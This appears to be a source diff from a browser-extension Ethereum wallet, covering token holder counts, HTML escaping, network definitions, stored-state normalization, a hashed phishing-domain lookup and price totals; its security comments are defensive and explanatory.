// Holder counts, and the one rule that decides whether a count is "low".
|
||||
//
|
||||
// The block explorer's holders_count is optional: it is absent on a token it
|
||||
// has only just indexed, and it goes missing on a degraded or changed API.
|
||||
// Absent means the count is unknown. It does not mean the token has no
|
||||
// holders, and collapsing the two hides a token the user really holds as if
|
||||
// it were spam. Every call site reads the count through here so the
|
||||
// distinction cannot be lost again in one place while holding in the others.
|
||||
|
||||
const LOW_HOLDER_THRESHOLD = 1000;
|
||||
|
||||
// Parse an explorer-supplied holders_count into a number, or null when the
|
||||
// explorer did not report one. Anything unparseable is unknown too: a count
|
||||
// we cannot read is not a count of zero.
|
||||
function parseHoldersCount(raw) {
|
||||
if (raw === null || raw === undefined || raw === "") return null;
|
||||
const n = parseInt(raw, 10);
|
||||
return Number.isFinite(n) ? n : null;
|
||||
}
|
||||
|
||||
// True only for a token the explorer reported as having fewer holders than
|
||||
// the threshold. An unknown count is never low: showing a spam token the
|
||||
// user can see is unusual costs less than hiding an asset they own.
|
||||
function isLowHolderCount(holders) {
|
||||
return holders != null && holders < LOW_HOLDER_THRESHOLD;
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
LOW_HOLDER_THRESHOLD,
|
||||
parseHoldersCount,
|
||||
isLowHolderCount,
|
||||
};
|
||||
@@ -1,41 +0,0 @@
|
||||
// HTML escaping for values interpolated into an innerHTML string.
|
||||
//
|
||||
// Every view in src/popup/views/ builds markup by string concatenation, so
|
||||
// this is the only thing standing between a value the wallet did not author
|
||||
// and the extension's own DOM. The values that reach it are attacker
|
||||
// controlled by design: an ERC-20's symbol() and name() are whatever the
|
||||
// contract chooses to return, an ENS name is whatever the resolver returns,
|
||||
// and both arrive through the block explorer with no schema.
|
||||
//
|
||||
// It escapes both quote characters as well as the tag delimiters, because
|
||||
// the popup interpolates into attribute values as well as into element
|
||||
// text — copyableHtml() writes data-copy="..." and etherscanLinkHtml()
|
||||
// writes href="...". A `<`/`>`-only escape leaves an unquoted-attribute
|
||||
// break-out intact, and the round trip through a detached element's
|
||||
// textContent that used to implement this was exactly that escape: the
|
||||
// HTML serializer only escapes `&`, `<`, `>` and U+00A0 in a text node,
|
||||
// since a text node has no idea it is about to be pasted inside quotes.
|
||||
//
|
||||
// Deliberately a pure string function with no DOM dependency: it is called
|
||||
// on every rendered row, it is unit-testable without a document, and it
|
||||
// cannot be affected by the state of a document that an attacker-supplied
|
||||
// string has already been written into.
|
||||
|
||||
const HTML_ESCAPES = {
|
||||
"&": "&",
|
||||
"<": "<",
|
||||
">": ">",
|
||||
'"': """,
|
||||
"'": "'",
|
||||
};
|
||||
|
||||
// `&` is escaped first by virtue of being in the same pass: a sequential
|
||||
// replace would re-escape the ampersands it had just introduced.
|
||||
function escapeHtml(s) {
|
||||
if (s === null || s === undefined) return "";
|
||||
return String(s).replace(/[&<>"']/g, (c) => HTML_ESCAPES[c]);
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
escapeHtml,
|
||||
};
|
||||
@@ -1,27 +1,12 @@
|
||||
// Leveled logger. Outputs to console with [AutistMask] prefix.
|
||||
// Level is DEBUG when the compile-time DEBUG constant is true or the runtime
|
||||
// debugMode state flag is enabled. The runtime flag is checked lazily so it
|
||||
// responds immediately when toggled in settings.
|
||||
// Level is DEBUG when the DEBUG constant is true, INFO otherwise.
|
||||
|
||||
const { DEBUG } = require("./constants");
|
||||
|
||||
const LEVELS = { debug: 0, info: 1, warn: 2, error: 3 };
|
||||
|
||||
// Runtime debug mode flag — set by settings.js when the user toggles debug
|
||||
// mode via the easter egg. Kept here as a simple mutable reference so it can
|
||||
// be updated without circular dependency issues with state.js.
|
||||
let _runtimeDebug = false;
|
||||
|
||||
function setRuntimeDebug(enabled) {
|
||||
_runtimeDebug = enabled;
|
||||
}
|
||||
|
||||
function isDebug() {
|
||||
return DEBUG || _runtimeDebug;
|
||||
}
|
||||
const threshold = DEBUG ? LEVELS.debug : LEVELS.info;
|
||||
|
||||
function emit(level, method, args) {
|
||||
const threshold = isDebug() ? LEVELS.debug : LEVELS.info;
|
||||
if (LEVELS[level] >= threshold) {
|
||||
console[method]("[AutistMask]", ...args);
|
||||
}
|
||||
@@ -52,4 +37,4 @@ async function debugFetch(url, opts) {
|
||||
return resp;
|
||||
}
|
||||
|
||||
module.exports = { log, debugFetch, setRuntimeDebug, isDebug };
|
||||
module.exports = { log, debugFetch };
|
||||
|
||||
@@ -1,93 +0,0 @@
|
||||
// Network definitions for supported Ethereum networks.
|
||||
// Each network specifies its chain ID, default RPC and Blockscout endpoints,
|
||||
// and the block explorer base URL used for address/tx/token/block links.
|
||||
|
||||
const NETWORKS = {
|
||||
mainnet: {
|
||||
id: "mainnet",
|
||||
name: "Ethereum Mainnet",
|
||||
chainId: "0x1",
|
||||
networkVersion: "1",
|
||||
nativeCurrency: "ETH",
|
||||
defaultRpcUrl: "https://ethereum-rpc.publicnode.com",
|
||||
defaultBlockscoutUrl: "https://eth.blockscout.com/api/v2",
|
||||
explorerUrl: "https://etherscan.io",
|
||||
isTestnet: false,
|
||||
},
|
||||
sepolia: {
|
||||
id: "sepolia",
|
||||
name: "Sepolia Testnet",
|
||||
chainId: "0xaa36a7",
|
||||
networkVersion: "11155111",
|
||||
nativeCurrency: "SepoliaETH",
|
||||
defaultRpcUrl: "https://ethereum-sepolia-rpc.publicnode.com",
|
||||
defaultBlockscoutUrl: "https://eth-sepolia.blockscout.com/api/v2",
|
||||
explorerUrl: "https://sepolia.etherscan.io",
|
||||
isTestnet: true,
|
||||
},
|
||||
};
|
||||
|
||||
const SUPPORTED_CHAIN_IDS = new Set(
|
||||
Object.values(NETWORKS).map((n) => n.chainId),
|
||||
);
|
||||
|
||||
// Thrown rather than defaulted. An id this build does not know used to answer
|
||||
// with MAINNET, so a stored `{networkId:"base"}` rendered the selector as
|
||||
// Ethereum Mainnet with no banner and answered eth_chainId 0x1, while rpcUrl
|
||||
// still pointed at Base — the wallet telling the user and the page one chain
|
||||
// while transacting on another. Nothing in this codebase has an unknown id to
|
||||
// offer: stored state is validated against this table before it is loaded
|
||||
// (src/shared/stateSchema.js), and every other caller passes an id it took
|
||||
// from here. So an unknown id is a defect, and it says so, the same way
|
||||
// getProvider() (src/shared/balances.js) already refuses one.
|
||||
class UnknownNetworkError extends Error {
|
||||
constructor(id) {
|
||||
super(
|
||||
"AutistMask does not know the network " +
|
||||
JSON.stringify(id) +
|
||||
"; it supports " +
|
||||
Object.keys(NETWORKS).join(", "),
|
||||
);
|
||||
this.name = "UnknownNetworkError";
|
||||
this.networkId = id;
|
||||
}
|
||||
}
|
||||
|
||||
// Own properties only: NETWORKS inherits from Object.prototype, so
|
||||
// NETWORKS["constructor"] and NETWORKS["__proto__"] both answer with something
|
||||
// truthy that is not a network. A stored id is untrusted input, and this is
|
||||
// the test the validator uses to decide whether it may be adopted at all.
|
||||
function isKnownNetworkId(id) {
|
||||
return (
|
||||
typeof id === "string" &&
|
||||
Object.prototype.hasOwnProperty.call(NETWORKS, id)
|
||||
);
|
||||
}
|
||||
|
||||
function networkById(id) {
|
||||
if (!isKnownNetworkId(id)) throw new UnknownNetworkError(id);
|
||||
return NETWORKS[id];
|
||||
}
|
||||
|
||||
function networkByChainId(chainId) {
|
||||
for (const net of Object.values(NETWORKS)) {
|
||||
if (net.chainId === chainId) return net;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
// Build a block explorer link for the given path type and value.
|
||||
// type: "address" | "tx" | "token" | "block"
|
||||
function explorerLink(network, type, value) {
|
||||
return `${network.explorerUrl}/${type}/${value}`;
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
NETWORKS,
|
||||
SUPPORTED_CHAIN_IDS,
|
||||
UnknownNetworkError,
|
||||
isKnownNetworkId,
|
||||
networkById,
|
||||
networkByChainId,
|
||||
explorerLink,
|
||||
};
|
||||
@@ -1,310 +0,0 @@
|
||||
// The shape of the persisted profile, and the normalization every read of it
|
||||
// goes through. No singleton, no storage access, no browser API: just the
|
||||
// record definition and pure functions over it.
|
||||
//
|
||||
// Split out of state.js so that a context which must never touch the
|
||||
// module-level `state` singleton can still speak the same record format.
|
||||
// src/background/state.js is that context — the MV3 service worker never
|
||||
// populates the singleton, and every defect in
|
||||
// https://git.eeqj.de/sneak/AutistMask/issues/324 came from background code
|
||||
// reaching it anyway and being served DEFAULT_STATE.
|
||||
|
||||
const { DEFAULT_RPC_URL, DEFAULT_BLOCKSCOUT_URL } = require("./constants");
|
||||
const { isKnownNetworkId } = require("./networks");
|
||||
const { STATE_SCHEMA_VERSION } = require("./stateSchema");
|
||||
// Dependency-free constant module. It lives under src/shared/ rather than
|
||||
// src/popup/ precisely because this module is in the background bundle: a
|
||||
// popup-path module reached from the worker is the shape the prohibition in
|
||||
// script/lib/forbiddenBundleInputs.js exists to keep out, even when the
|
||||
// particular module is harmless.
|
||||
const { RESTORABLE_VIEWS } = require("./restorableViews");
|
||||
|
||||
const DEFAULT_STATE = {
|
||||
hasWallet: false,
|
||||
wallets: [],
|
||||
trackedTokens: [],
|
||||
networkId: "mainnet",
|
||||
rpcUrl: DEFAULT_RPC_URL,
|
||||
blockscoutUrl: DEFAULT_BLOCKSCOUT_URL,
|
||||
// Endpoints remembered per network: { [networkId]: { rpcUrl,
|
||||
// blockscoutUrl } }. rpcUrl/blockscoutUrl above are the live endpoints
|
||||
// of the active network; this is what the others are restored from
|
||||
// when the active network changes. See applyChainSwitchFields().
|
||||
networkEndpoints: {},
|
||||
lastBalanceRefresh: 0,
|
||||
activeAddress: null,
|
||||
allowedSites: {},
|
||||
deniedSites: {},
|
||||
rememberSiteChoice: true,
|
||||
showZeroBalanceTokens: true,
|
||||
hideSpoofedSymbols: true,
|
||||
hideLowHolderTokens: true,
|
||||
hideFraudContracts: true,
|
||||
hideDustTransactions: true,
|
||||
dustThresholdGwei: 100000,
|
||||
utcTimestamps: false,
|
||||
fraudContracts: [],
|
||||
tokenHolderCache: {},
|
||||
theme: "system",
|
||||
debugMode: false,
|
||||
};
|
||||
|
||||
// Every field written to and read from the single "autistmask" storage key.
|
||||
// hasWallet is deliberately excluded from the diffing/merge logic in
|
||||
// state.js — like loadState() does, it is always derived from `wallets`,
|
||||
// never carried as an independent value. schemaVersion is excluded for the
|
||||
// same reason and is absent from DEFAULT_STATE for it: it describes the
|
||||
// record rather than being part of it, and every write stamps the current
|
||||
// value rather than diffing whatever was read.
|
||||
const PERSISTED_FIELDS = Object.keys(DEFAULT_STATE)
|
||||
.filter((key) => key !== "hasWallet")
|
||||
.concat([
|
||||
"currentView",
|
||||
"selectedWallet",
|
||||
"selectedAddress",
|
||||
"selectedToken",
|
||||
"viewData",
|
||||
"viewStack",
|
||||
]);
|
||||
|
||||
function isRecord(value) {
|
||||
return typeof value === "object" && value !== null && !Array.isArray(value);
|
||||
}
|
||||
|
||||
// A list of token references, as everything downstream dereferences them:
|
||||
// `t.address.toLowerCase()`, with no guard of its own (src/shared/balances.js,
|
||||
// src/popup/views/helpers.js, and every view that shows a balance line).
|
||||
//
|
||||
// Both the container AND the entries, because they are separate defects. A
|
||||
// container check alone leaves a well-formed list of malformed entries walking
|
||||
// through to a dereference one level below the check, which is the same blank
|
||||
// popup: `[1, 2]` and `[{}]` are lists.
|
||||
//
|
||||
// A malformed entry is DROPPED rather than repaired: a token reference with no
|
||||
// address identifies nothing, so there is no value to repair it to, and the
|
||||
// alternative — refusing the whole record — sends a user whose wallets are
|
||||
// perfectly readable to an export-or-erase screen over a token list. An entry
|
||||
// that is a record with a text address is kept verbatim, extra fields and all.
|
||||
//
|
||||
// Verbatim is load-bearing for the fields BESIDE the address. A tokenBalances
|
||||
// entry carries `decimals: null` and `balance: null` when nothing knows the
|
||||
// token's scale (src/shared/balances.js,
|
||||
// https://git.eeqj.de/sneak/AutistMask/issues/349), and those nulls are the
|
||||
// record that the value is unknown. Only `address` decides whether an entry
|
||||
// survives, so an unknown-scale holding is kept — flooring a null here to some
|
||||
// default would put the guess back one layer down from where it was removed.
|
||||
function tokenRefs(value) {
|
||||
if (!Array.isArray(value)) return [];
|
||||
return value.filter(
|
||||
(entry) => isRecord(entry) && typeof entry.address === "string",
|
||||
);
|
||||
}
|
||||
|
||||
// Keep only the leading run of stored views the popup is willing to render.
|
||||
//
|
||||
// restoreView() refuses to reopen ONTO a non-restorable view, but the stack
|
||||
// behind it used to be restored verbatim, so Back could walk onto a screen
|
||||
// whose content is deliberately never re-rendered — and "show-phrase" has no
|
||||
// Back control to leave by. Truncating at the first such entry instead of
|
||||
// splicing it out keeps the result a prefix of the stored stack, so every
|
||||
// surviving entry's Back target is exactly the one it had; splicing would
|
||||
// silently re-point the entry above the hole at a different screen.
|
||||
//
|
||||
// Filtering happens here on load rather than in saveState(): the live
|
||||
// in-session stack is legitimate (the screen really is rendered while the
|
||||
// popup is open), and only a load-side filter also repairs the stacks
|
||||
// already in storage, including ones written before a view left the set.
|
||||
function restorableStack(stored, currentView) {
|
||||
// A stored stack that is missing or not an array keeps nothing, but it
|
||||
// still goes through the never-empty rule below rather than returning
|
||||
// early: otherwise a corrupt stack would depend on exactly the goBack()
|
||||
// fallback that the explicit ["main"] exists in order not to depend on.
|
||||
const source = Array.isArray(stored) ? stored : [];
|
||||
const cut = source.findIndex((view) => !RESTORABLE_VIEWS.has(view));
|
||||
const kept = cut === -1 ? source.slice() : source.slice(0, cut);
|
||||
// A view restored below the root still needs somewhere for Back to go.
|
||||
if (
|
||||
kept.length === 0 &&
|
||||
currentView !== "main" &&
|
||||
RESTORABLE_VIEWS.has(currentView)
|
||||
) {
|
||||
return ["main"];
|
||||
}
|
||||
return kept;
|
||||
}
|
||||
|
||||
// Turn a raw stored (or missing) record into the full, defaulted shape
|
||||
// loadState() used to assign directly onto `state`. A pure function so that
|
||||
// saveState() can apply it too: the fields THIS page did not change still have
|
||||
// to come from storage in their loaded-and-normalized form, not as the raw
|
||||
// bytes another page (or an old release) left there — otherwise a legacy shape
|
||||
// a load has always self-healed in memory (a missing networkEndpoints map, an
|
||||
// out-of-range flag) is dropped right back into storage unfixed every time the
|
||||
// page that DID normalize it saves something unrelated, because that field's
|
||||
// value never "changed" for that page to notice.
|
||||
//
|
||||
// The result never shares structure with `saved`, so a caller may mutate it
|
||||
// freely: it is the detached record every per-call read in the background is
|
||||
// built on.
|
||||
function normalizePersisted(saved) {
|
||||
saved = saved || {};
|
||||
const out = {};
|
||||
// Every write goes out at the current version. That IS the migration for
|
||||
// the unversioned records every install in the field holds: version 1 is
|
||||
// the shape that shipped unversioned, so a record that validated is
|
||||
// carried forward simply by being stamped. A record this build does NOT
|
||||
// understand never reaches here — assertStateUsable() refuses it on the
|
||||
// read path first (src/shared/stateSchema.js).
|
||||
out.schemaVersion = STATE_SCHEMA_VERSION;
|
||||
out.wallets = structuredClone(saved.wallets || []);
|
||||
// Derived, never trusted verbatim off storage — see loadState().
|
||||
out.hasWallet = out.wallets.length > 0;
|
||||
// Each address's token holdings, floored to a list of token records on the
|
||||
// detached copy above. Every reader iterates it behind a `|| []` that only
|
||||
// covers an ABSENT value, and then dereferences `t.address.toLowerCase()`
|
||||
// and `t.balance` — so a stored string iterates as characters, a number
|
||||
// throws on the iterator, and a null entry throws on the field.
|
||||
//
|
||||
// This field specifically, because refreshBalances() writes it WHOLESALE
|
||||
// rather than merging into it: a write that only partly lands is the live
|
||||
// cause https://git.eeqj.de/sneak/AutistMask/issues/311 names, and this is
|
||||
// where it lands. The wallet list itself is the gate's (stateSchema.js);
|
||||
// what is below an address record is not, and gets floored here.
|
||||
if (Array.isArray(out.wallets)) {
|
||||
for (const wallet of out.wallets) {
|
||||
if (!isRecord(wallet) || !Array.isArray(wallet.addresses)) continue;
|
||||
for (const addr of wallet.addresses) {
|
||||
if (!isRecord(addr)) continue;
|
||||
addr.tokenBalances = tokenRefs(addr.tokenBalances);
|
||||
}
|
||||
}
|
||||
}
|
||||
// An actual list of token records is required, not merely a truthy value
|
||||
// and not merely a list: everything downstream iterates this and
|
||||
// dereferences `token.address`, so a stored string or object walks through
|
||||
// a `|| []`, and a list of numbers walks through an Array.isArray(), and
|
||||
// both throw on the first read — the blank popup from the issue, for a
|
||||
// profile whose wallets are perfectly fine. An empty list is a legitimate
|
||||
// value and survives.
|
||||
out.trackedTokens = structuredClone(tokenRefs(saved.trackedTokens));
|
||||
// The loud refusal for an unknown id is assertStateUsable(); this is the
|
||||
// floor under it. networkId is an object KEY into networkEndpoints below,
|
||||
// so a value that is not a network in networks.js must never get that far
|
||||
// — "__proto__" would set the map's prototype instead of an own key, and
|
||||
// the user's endpoint would silently not be recorded.
|
||||
out.networkId = isKnownNetworkId(saved.networkId)
|
||||
? saved.networkId
|
||||
: DEFAULT_STATE.networkId;
|
||||
out.rpcUrl = saved.rpcUrl || DEFAULT_STATE.rpcUrl;
|
||||
out.blockscoutUrl = saved.blockscoutUrl || DEFAULT_STATE.blockscoutUrl;
|
||||
// An actual object is required, not merely a truthy non-array: the code
|
||||
// below and applyChainSwitchFields() index and ASSIGN INTO this value, and
|
||||
// assigning a property to a string or a number is a silent no-op in
|
||||
// sloppy mode. Copied rather than referenced, nested pairs included, so
|
||||
// normalizing never mutates the object a caller handed in.
|
||||
const rawEndpoints =
|
||||
typeof saved.networkEndpoints === "object" &&
|
||||
saved.networkEndpoints !== null &&
|
||||
!Array.isArray(saved.networkEndpoints)
|
||||
? saved.networkEndpoints
|
||||
: {};
|
||||
out.networkEndpoints = {};
|
||||
for (const netId of Object.keys(rawEndpoints)) {
|
||||
// defineProperty, not assignment: a stored map with an own
|
||||
// "__proto__" key — which JSON can carry and assignment treats as the
|
||||
// prototype setter — would otherwise replace this object's prototype
|
||||
// and record no entry at all. Keys other than the known network ids
|
||||
// are kept rather than dropped, so a profile that has been on a build
|
||||
// with more networks does not lose their endpoints by passing through
|
||||
// this one.
|
||||
Object.defineProperty(out.networkEndpoints, netId, {
|
||||
value: { ...rawEndpoints[netId] },
|
||||
writable: true,
|
||||
enumerable: true,
|
||||
configurable: true,
|
||||
});
|
||||
}
|
||||
// A profile written before this map existed carries exactly one pair of
|
||||
// endpoints, belonging to whatever network it was last on. Adopt it as
|
||||
// that network's remembered pair, so a custom endpoint set on the old
|
||||
// build is not lost by the first switch away and back.
|
||||
if (!out.networkEndpoints[out.networkId]) {
|
||||
out.networkEndpoints[out.networkId] = {
|
||||
rpcUrl: out.rpcUrl,
|
||||
blockscoutUrl: out.blockscoutUrl,
|
||||
};
|
||||
}
|
||||
out.lastBalanceRefresh = saved.lastBalanceRefresh || 0;
|
||||
// A non-empty address, or null, never anything else: this is passed to
|
||||
// address.slice() and compared against stored addresses, so a stored
|
||||
// number or object walks through a `|| null` and throws on the first
|
||||
// render. The empty string is text but it is not an address, and it must
|
||||
// become null rather than survive: init() auto-selects the first address
|
||||
// only on a STRICT null, so a stored "" would leave the popup with no
|
||||
// address ever selected. Nothing in src/ writes one, and this keeps the
|
||||
// behaviour the `|| null` this check replaced already had.
|
||||
out.activeAddress =
|
||||
typeof saved.activeAddress === "string" && saved.activeAddress !== ""
|
||||
? saved.activeAddress
|
||||
: null;
|
||||
out.allowedSites =
|
||||
saved.allowedSites && !Array.isArray(saved.allowedSites)
|
||||
? structuredClone(saved.allowedSites)
|
||||
: {};
|
||||
out.deniedSites =
|
||||
saved.deniedSites && !Array.isArray(saved.deniedSites)
|
||||
? structuredClone(saved.deniedSites)
|
||||
: {};
|
||||
out.rememberSiteChoice =
|
||||
saved.rememberSiteChoice !== undefined
|
||||
? saved.rememberSiteChoice
|
||||
: true;
|
||||
out.showZeroBalanceTokens =
|
||||
saved.showZeroBalanceTokens !== undefined
|
||||
? saved.showZeroBalanceTokens
|
||||
: true;
|
||||
// A profile written before this setting existed has no key for it. It
|
||||
// is a safety filter, so absent must load as on, not as undefined.
|
||||
out.hideSpoofedSymbols =
|
||||
saved.hideSpoofedSymbols !== undefined
|
||||
? saved.hideSpoofedSymbols
|
||||
: true;
|
||||
out.hideLowHolderTokens =
|
||||
saved.hideLowHolderTokens !== undefined
|
||||
? saved.hideLowHolderTokens
|
||||
: true;
|
||||
out.hideFraudContracts =
|
||||
saved.hideFraudContracts !== undefined
|
||||
? saved.hideFraudContracts
|
||||
: true;
|
||||
out.hideDustTransactions =
|
||||
saved.hideDustTransactions !== undefined
|
||||
? saved.hideDustTransactions
|
||||
: true;
|
||||
out.dustThresholdGwei =
|
||||
saved.dustThresholdGwei !== undefined
|
||||
? saved.dustThresholdGwei
|
||||
: 100000;
|
||||
out.utcTimestamps =
|
||||
saved.utcTimestamps !== undefined ? saved.utcTimestamps : false;
|
||||
out.fraudContracts = structuredClone(saved.fraudContracts || []);
|
||||
out.tokenHolderCache = structuredClone(saved.tokenHolderCache || {});
|
||||
out.theme = saved.theme || "system";
|
||||
out.debugMode = saved.debugMode !== undefined ? saved.debugMode : false;
|
||||
out.currentView = saved.currentView || null;
|
||||
out.selectedWallet =
|
||||
saved.selectedWallet !== undefined ? saved.selectedWallet : null;
|
||||
out.selectedAddress =
|
||||
saved.selectedAddress !== undefined ? saved.selectedAddress : null;
|
||||
out.selectedToken = saved.selectedToken || null;
|
||||
out.viewData = structuredClone(saved.viewData || {});
|
||||
out.viewStack = restorableStack(saved.viewStack, out.currentView);
|
||||
return out;
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
DEFAULT_STATE,
|
||||
PERSISTED_FIELDS,
|
||||
normalizePersisted,
|
||||
restorableStack,
|
||||
};
|
||||
File diff suppressed because one or more lines are too long
@@ -1,158 +0,0 @@
|
||||
// Domain-based phishing detection against a blocklist vendored at build time.
|
||||
//
|
||||
// The list is produced by script/vendor-blocklist from a hash-pinned upstream
|
||||
// commit, committed as phishingBlocklist.json, and bundled. There is no runtime
|
||||
// fetch: the extension asks nobody anything to answer this question, so no third
|
||||
// party learns which sites a user connects to, and no third party decides what
|
||||
// this wallet warns about. The cost is staleness — the shipped list is exactly
|
||||
// as fresh as the last vendoring run that was released — and the refresh path is
|
||||
// re-running that script and shipping the diff.
|
||||
//
|
||||
// The artifact holds digests, not domains: sha256 truncated to 64 bits, one
|
||||
// entry per 16 hex characters, concatenated in sorted order into a single
|
||||
// string (see domainHash.js). Three things follow from that shape, and all
|
||||
// three are the reason for it:
|
||||
//
|
||||
// - the extension ships no plaintext list of anyone's domain names, which is
|
||||
// what makes a blocklist assembled elsewhere shippable here at all.
|
||||
// - a lookup is a binary search over that string. Nothing is built at module
|
||||
// load, which matters because the MV3 service worker is torn down when idle
|
||||
// and re-evaluates this file on every wake.
|
||||
// - the file is 1.7 MB rather than 8.7 MB.
|
||||
//
|
||||
// Nothing here is async: callers answer an approval prompt with the result.
|
||||
|
||||
const vendored = require("./phishingBlocklist.json");
|
||||
const { HASH_ALGORITHM, HASH_HEX_CHARS, hashDomain } = require("./domainHash");
|
||||
|
||||
// The artifact is generated, so a shape it does not have is a build fault, not
|
||||
// a runtime condition. It is checked anyway, and loudly, because every way of
|
||||
// getting it wrong — a stale format, a truncated file, a different digest —
|
||||
// produces a blocklist that matches nothing at all while looking perfectly
|
||||
// healthy. A phishing check that silently answers "no" to everything is the one
|
||||
// failure this module must not have.
|
||||
function checkArtifact(a) {
|
||||
const bad = (why) =>
|
||||
new Error(
|
||||
"phishingBlocklist.json " +
|
||||
why +
|
||||
". It is generated by script/vendor-blocklist; re-run that " +
|
||||
"rather than editing it.",
|
||||
);
|
||||
|
||||
if (!a || typeof a !== "object") throw bad("is not an object");
|
||||
if (a.algorithm !== HASH_ALGORITHM) {
|
||||
throw bad(
|
||||
"declares algorithm " +
|
||||
JSON.stringify(a.algorithm) +
|
||||
", but this build hashes with " +
|
||||
HASH_ALGORITHM,
|
||||
);
|
||||
}
|
||||
if (a.hashHexChars !== HASH_HEX_CHARS) {
|
||||
throw bad(
|
||||
"declares " +
|
||||
JSON.stringify(a.hashHexChars) +
|
||||
" hex characters per entry, but this build produces " +
|
||||
HASH_HEX_CHARS,
|
||||
);
|
||||
}
|
||||
if (typeof a.hashes !== "string") throw bad("has no hashes string");
|
||||
if (!Number.isInteger(a.count) || a.count < 1) {
|
||||
throw bad("declares no usable entry count");
|
||||
}
|
||||
if (a.hashes.length !== a.count * HASH_HEX_CHARS) {
|
||||
throw bad(
|
||||
"holds " +
|
||||
a.hashes.length +
|
||||
" hex characters, which is not the " +
|
||||
a.count * HASH_HEX_CHARS +
|
||||
" its count of " +
|
||||
a.count +
|
||||
" entries requires",
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
checkArtifact(vendored);
|
||||
|
||||
const HASHES = vendored.hashes;
|
||||
const COUNT = vendored.count;
|
||||
|
||||
/**
|
||||
* Is this digest one of the vendored entries?
|
||||
*
|
||||
* Binary search over fixed-width records. The digests are lowercase hex of one
|
||||
* width, so lexicographic order is numeric order and the artifact is written
|
||||
* sorted; tests assert that ordering against the committed file, because an
|
||||
* unsorted artifact would fail lookups silently rather than loudly.
|
||||
*
|
||||
* @param {string} hash
|
||||
* @returns {boolean}
|
||||
*/
|
||||
function hashListed(hash) {
|
||||
let lo = 0;
|
||||
let hi = COUNT - 1;
|
||||
while (lo <= hi) {
|
||||
const mid = (lo + hi) >> 1;
|
||||
const at = HASHES.slice(
|
||||
mid * HASH_HEX_CHARS,
|
||||
(mid + 1) * HASH_HEX_CHARS,
|
||||
);
|
||||
if (at === hash) return true;
|
||||
if (at < hash) lo = mid + 1;
|
||||
else hi = mid - 1;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate hostname variants for subdomain matching.
|
||||
* "sub.evil.com" yields ["sub.evil.com", "evil.com"].
|
||||
*
|
||||
* @param {string} hostname
|
||||
* @returns {string[]}
|
||||
*/
|
||||
function hostnameVariants(hostname) {
|
||||
const h = hostname.toLowerCase();
|
||||
const variants = [h];
|
||||
const parts = h.split(".");
|
||||
// Parent domains: a.b.c.d -> b.c.d, c.d
|
||||
for (let i = 1; i < parts.length - 1; i++) {
|
||||
variants.push(parts.slice(i).join("."));
|
||||
}
|
||||
return variants;
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if a hostname is on the phishing blocklist.
|
||||
*
|
||||
* @param {string} hostname - The hostname to check.
|
||||
* @returns {boolean}
|
||||
*/
|
||||
function isPhishingDomain(hostname) {
|
||||
if (!hostname) return false;
|
||||
for (const variant of hostnameVariants(hostname)) {
|
||||
if (hashListed(hashDomain(variant))) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Return the blocklist size for diagnostics.
|
||||
*
|
||||
* @returns {number}
|
||||
*/
|
||||
function getBlocklistSize() {
|
||||
return COUNT;
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
isPhishingDomain,
|
||||
getBlocklistSize,
|
||||
hostnameVariants,
|
||||
// Exposed for testing only: the ends of the search range are where an
|
||||
// off-by-one hides, and reaching them through isPhishingDomain() would mean
|
||||
// knowing which domain hashes to the first or last entry.
|
||||
_hashListed: hashListed,
|
||||
};
|
||||
@@ -8,37 +8,18 @@ const prices = {};
|
||||
let lastFetchedAt = 0;
|
||||
|
||||
async function refreshPrices() {
|
||||
// Testnet tokens have no real market value — skip price fetching
|
||||
// and clear any stale mainnet prices so the UI shows no USD values.
|
||||
const { currentNetwork } = require("./state");
|
||||
if (currentNetwork().isTestnet) {
|
||||
clearPrices();
|
||||
return;
|
||||
}
|
||||
const now = Date.now();
|
||||
if (now - lastFetchedAt < PRICE_CACHE_TTL) return;
|
||||
try {
|
||||
const fetched = await getTopTokenPrices(25);
|
||||
Object.assign(prices, fetched);
|
||||
lastFetchedAt = now;
|
||||
} catch {
|
||||
} catch (e) {
|
||||
// prices stay stale on error
|
||||
}
|
||||
}
|
||||
|
||||
// Clear all cached prices and reset the fetch timestamp so the
|
||||
// next refreshPrices() call will fetch fresh data.
|
||||
function clearPrices() {
|
||||
for (const key of Object.keys(prices)) {
|
||||
delete prices[key];
|
||||
}
|
||||
lastFetchedAt = 0;
|
||||
}
|
||||
|
||||
// Return the USD price for a symbol, or null on testnet / unknown.
|
||||
function getPrice(symbol) {
|
||||
const { currentNetwork } = require("./state");
|
||||
if (currentNetwork().isTestnet) return null;
|
||||
return prices[symbol] || null;
|
||||
}
|
||||
|
||||
@@ -55,96 +36,44 @@ function formatUsd(amount) {
|
||||
);
|
||||
}
|
||||
|
||||
// What an address is worth, as { usd, partial }.
|
||||
//
|
||||
// Prices are fetched for the top 25 tokens only, so an address can hold real
|
||||
// assets this code has no price for. Adding up the priced ones and calling the
|
||||
// result the total states a number the holdings do not support: an address
|
||||
// holding nothing but unpriced tokens comes out at $0.00, which tells the user
|
||||
// their address is worth nothing when it may hold a great deal. Worth zero and
|
||||
// worth an unknown amount are separate facts and get separate fields, the same
|
||||
// way an absent holders_count is not a count of zero.
|
||||
//
|
||||
// usd: the value of the holdings a price is known for, or null when
|
||||
// nothing is knowable at all — testnet, or before the first fetch.
|
||||
// partial: the address also holds a token with no price, so usd is a floor
|
||||
// and not the total.
|
||||
//
|
||||
// Render it through formatAddressTotal() rather than reading usd alone.
|
||||
function getAddressValue(addr) {
|
||||
const { currentNetwork } = require("./state");
|
||||
if (currentNetwork().isTestnet) return { usd: null, partial: false };
|
||||
if (!prices.ETH) return { usd: null, partial: false };
|
||||
let usd = parseFloat(addr.balance || "0") * prices.ETH;
|
||||
let partial = false;
|
||||
function getAddressValueUsd(addr) {
|
||||
if (!prices.ETH) return null;
|
||||
let total = 0;
|
||||
const ethBal = parseFloat(addr.balance || "0");
|
||||
total += ethBal * prices.ETH;
|
||||
for (const token of addr.tokenBalances || []) {
|
||||
// A null balance is a holding whose scale nothing knows, so it has no
|
||||
// quantity to price — but it is still a holding, and a total that
|
||||
